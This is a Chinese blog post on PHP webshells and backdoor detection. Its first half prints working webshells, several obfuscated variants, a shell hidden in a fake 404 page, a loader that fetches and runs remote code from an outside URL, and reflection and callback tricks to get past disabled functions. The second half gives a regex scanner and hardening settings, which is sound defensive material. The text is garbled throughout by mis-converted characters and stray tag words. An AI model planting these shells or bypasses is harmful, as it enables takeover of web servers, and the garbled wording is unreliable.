PHP安全之webshell和後門檢測

基於PHP的應用面臨着各類各樣的攻擊:php

  • XSS:對PHP的Web應用而言,跨站腳本是一個易受攻擊的點。攻擊者能夠利用它盜取用戶信息。你能夠配置Apache,或是寫更安全的PHP代碼(驗證全部用戶輸入)來防範XSS攻擊css

  • SQL注入:這是PHP應用中,數據庫層的易受攻擊點。防範方式同上。經常使用的方法是,使用mysql_real_escape_string()對參數進行轉義,然後進行SQL查詢。html

  • 文件上傳:它可讓訪問者在服務器上放置(即上傳)文件。這會形成例如,刪除服務器文件、數據庫,獲取用戶信息等一系列問題。你可使用PHP來禁止文件上傳,或編寫更安全的代碼(如檢驗用戶輸入,只容許上傳png、gif這些圖片格式)python

  • 包含本地與遠程文件:攻擊者可使遠程服務器打開文件,運行任何PHP代碼,而後上傳或刪除文件,安裝後門。能夠經過取消遠程文件執行的設置來防範mysql

  • eval/assert:這個函數可使一段字符串如同PHP代碼同樣執行。它一般被攻擊者用於在服務器上隱藏代碼和工具。經過配置PHP,取消eval等函數調用來實現linux

  • Sea-surt Attack(Cross-site request forgery,CSRF。跨站請求僞造):這種攻擊會使終端用戶在當前帳號下執行非指定行爲。這會危害終端用戶的數據與操做安全。若是目標終端用戶的帳號用於管理員權限,整個Web應用都會收到威脅。nginx

這裏介紹上述加粗的幾種攻擊的方法git

1、各類webshell

隨着業務量的增大,愈來愈多的黑客來攻擊掃描,網站安全性日益重要,一不留神就被黑客控制了服務器,最多見的方式就是經過POST請求來上傳木馬文件,從而達到能夠執行任意命令,若是被控制就大事不妙了github

因此仍是要正視服務器的安全web

最流行的一種後門叫作一句話木馬,其形式以下所示:

<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

這種容易被安全軟件檢測出來。爲了加強隱蔽性,出現了各類一句話木馬的變形,經過各類函數來假裝,這裏不得不吐槽PHP弱類型對於安全來講是致命的

a、使用str_replace函數

<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>

//說明:請求參數  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
最終執行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>

b、使用str_rot13函數

<?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?>
//說明:首先,將eval函數用str_rot13('riny')隱藏。而後,利用 e 修飾符,在preg_replace完成字符串替換後,使得引擎將結果字符串做爲php代碼使用eval方式進行評估並將返回值做爲最終參與替換的字符串。

c、使用include函數

<?php $filename=$_GET['code'];include ($filename); ?>

//因爲include方法能夠直接編譯任何格式的文件爲php格式運行,所以能夠上傳一個txt格式的php文件,將真正的後門寫在文本當中。

d、使用pack函數

<?php if(empty($_SESSION['api']))
    $_SESSION['api']=substr(file_get_contents(sprintf('%s?  %s',pack(「H*」,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
    @preg_replace(「~(.*)~ies」,gzuncompress($_SESSION['api']),null);
?>

e、使用session

<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

f、隱藏在html頁面

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

g、使用assert函數

<?php assert($_POST[sb]);?>

或者

<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['iixosmse']);

h、使用copy函數複製文件

<?php
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);

2、代碼混淆

<?php  
@$_++; // $_ = 1  
$__=("#"^"|"); // $__ = _  
$__.=("."^"~"); // _P  
$__.=("/"^"`"); // _PO  
$__.=("|"^"/"); // _POS  
$__.=("{"^"/"); // _POST  
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);  
?> 

或者

<?php  
    $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";  
    $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";  
    $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");  
    $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";  
    $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";  
    $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");  
    $jgfi = $ftdf("l","","lclrlelaltel_functlilon");  
    $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();  
?>

可使用weevely工具來生成,代碼假裝避開各類主流的殺毒軟件

PHP後門生成工具weevely

weevely是一款針對PHP的webshell的自由軟件,可用於模擬一個相似於telnet的鏈接shell,weevely一般用於web程序的漏洞利用,隱藏後門或者使用相似telnet的方式來代替web 頁面式的管理,weevely生成的服務器端php代碼是通過了base64編碼的,因此能夠騙過主流的殺毒軟件和IDS,上傳服務器端代碼後一般能夠經過weevely直接運行。

weevely所生成的PHP後門所使用的方法是如今比較主流的base64加密結合字符串變形技術,後門中所使用的函數均是經常使用的字符串處理函數,被做爲檢查規則的eval,system等函數都不會直接出如今代碼中,從而能夠導致後門文件繞事後門查找工具的檢查。使用暗組的Web後門查殺工具進行掃描,結果顯示該文件無任何威脅。

更經常使用的混淆視聽的方法:(這種是服務器層面的混淆)

  • 修改文件時間

  • 更名融入上傳後所在文件夾,讓人沒法直觀看出文件異常

  • 文件大小的假裝處理(至少看起大小像個正常腳本)

  • 選好藏身路徑並儘可能少的訪問

  • 畸形目錄%20

3、若是繞過配置文件

通常的服務器管理員會把 system、exec等危險函數禁用的,那麼如何繞過呢?

一、使用反射

相關內容可參考:http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php

<?php
$func = new ReflectionFunction("system");
echo $func->invokeArgs(array("$_GET[c]"));
?>

二、使用callback

php提供的另一種可間接調用函數的方法是callback. 這裏使用了ob_start.具體說明可參考:http://www.php.net/manual/en/function.ob-start.php

<?php
$cb= 'system';
ob_start($cb);
echo $_GET[c];
ob_end_flush();
?>

php中支持callback的函數還有不少,好比 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等

4、安全人員應該怎麼作

一、如何查找

直觀尋找方式也有不少

  • 經過文件名/修改時間/大小,文件備份比對發現異常(SVN/Git對比,查看文件是否被修改)

  • 經過WEBSHELL後門掃描腳本發現,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )

  • 經過access.log訪問日誌分析

下面是360 zhujiweishi ,在linux服務器上很是簡單好用

經過常見的關鍵詞如(可使用find 和 grep 等命令結合起來搜索代碼中是否包含如下文件)

  • 系統命令執行: system, passthru, shell_exec, exec, popen, proc_open

  • 代碼執行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

經過簡單的python腳本

#!/usr/bin/env python
# encoding: utf-8
 
import os,sys
import re
import hashlib
import time
 
rulelist = [
    '(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))',
    '((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))',
    '(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})',
    '(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))',
    '((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))',
    '(\$(\w+)\s*\(\s.chr\(\d+\)\))',
    '(\$(\w+)\s*\$\{(.*)\})',
    '(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))',
    '(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))',
    '(\$\_\=(.*)\$\_)',
    '(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))',
    '(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))',
    '(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))',
    '((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))',
    '(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))',
    '(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))',
    '((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))',
    '(eval\s*\(\s*\(\s*\$\$(\w+))',
    '((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))',
    '(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
    ]
 
def scan(path):
    print('           可疑文件         ')
    print('*'*30)
    for root,dirs,files in os.walk(path):
        for filespath in files:
            if os.path.getsize(os.path.join(root,filespath))<1024000:
                file= open(os.path.join(root,filespath))
                filestr = file.read()
                file.close()
                for rule in rulelist:
                    result = re.compile(rule).findall(filestr)
                    if result:
                        print '文件:'+os.path.join(root,filespath )
                        print '惡意代碼:'+str(result[0][0:200])
                        print ('最後修改時間:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
                        print '\n\n'
                        break
def md5sum(md5_file):
    m = hashlib.md5()
    fp = open(md5_file)
    m.update(fp.read())
    return m.hexdigest()
    fp.close()
 
if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477':
    if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b':
        pass
    else:
        print('*'*40)
        print "\033[31m sshd被修改,疑似留有後門\033[m"
        print('*'*40)
        time.sleep(5)
if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55':
    if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838':
        pass
    else:
        print('*'*40)
        print "\033[31m sshd被修改,疑似留有後門\033[m"
        print('*'*40)
        time.sleep(5)
if __name__=='__main__':
 
    if len(sys.argv)!=2:
        print '參數錯誤'
        print "\t按惡意代碼查找:"+sys.argv[0]+'目錄名'
    if os.path.lexists(sys.argv[1]) == False:
        print "目錄不存在"
        exit()
    print ('\n\n開始查找:'+sys.argv[1])
    if len(sys.argv) ==2:
        scan(sys.argv[1])
    else:
        exit()

二、如何防範

php.ini 設置

  • disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir

  • 設置「safe_mode」爲「on」

  • 禁止「open_basedir」 能夠禁止指定目錄以外的文件操做

  • expose_php設爲off 這樣php不會在http文件頭中泄露信息

  • 設置「allow_url_fopen」爲「off」 可禁止遠程文件功能

  • log_errors」設爲「on」 錯誤日誌開啓

php編碼方面

  • 全部用戶提交的信息  post get 或是其餘形式提交的數據 都要單獨寫個過濾函數處理一遍,養成習慣(intval,strip_tags,mysql_real_escape_string)

  • 常常檢查有沒有一句話木馬 eval($_POST[ 全站搜索php代碼有沒有這樣的源代碼

  • 文件要命名規範 至少讓本身能夠一目瞭然,哪些php文件名字有問題

  • 如用開源代碼,有補丁出來的話,儘快打上補丁

  • 若是攻擊者拿到了服務器的最高權限,有可能經過修改服務器的配置文件php.ini來達到他們隱藏後門的目的,前幾年比較流行。原理以下:php.ini 裏面的這兩個配置項:auto_prepend_file ,auto_append_file 可讓php解析前,本身加點東西進去 Automatically add files before or after any PHP document,若是被配置了eval()函數的後門 那就很陰險了,php文件代碼裏面查不出,只會在php解析前包含eval()函數進來 而且由於是全局的 因此全部php頁面都是後門!因此要先確認auto_prepend_file ,auto_append_file沒被配置成其餘東西,才進行第3點的源代碼檢查。

服務器配置

配置的時候儘可能使用最小權限,不要寫入或者執行的目錄不能給相應的權限

nginx或者apache配置的時候,不能訪問的目錄必定要配置爲deny

待續。。。

 

參考文章

https://github.com/chenpingzhao/php-webshells

http://blog.csdn.net/miltonzhong/article/details/9714367

http://blog.jobbole.com/53821/

相關文章
相關標籤/搜索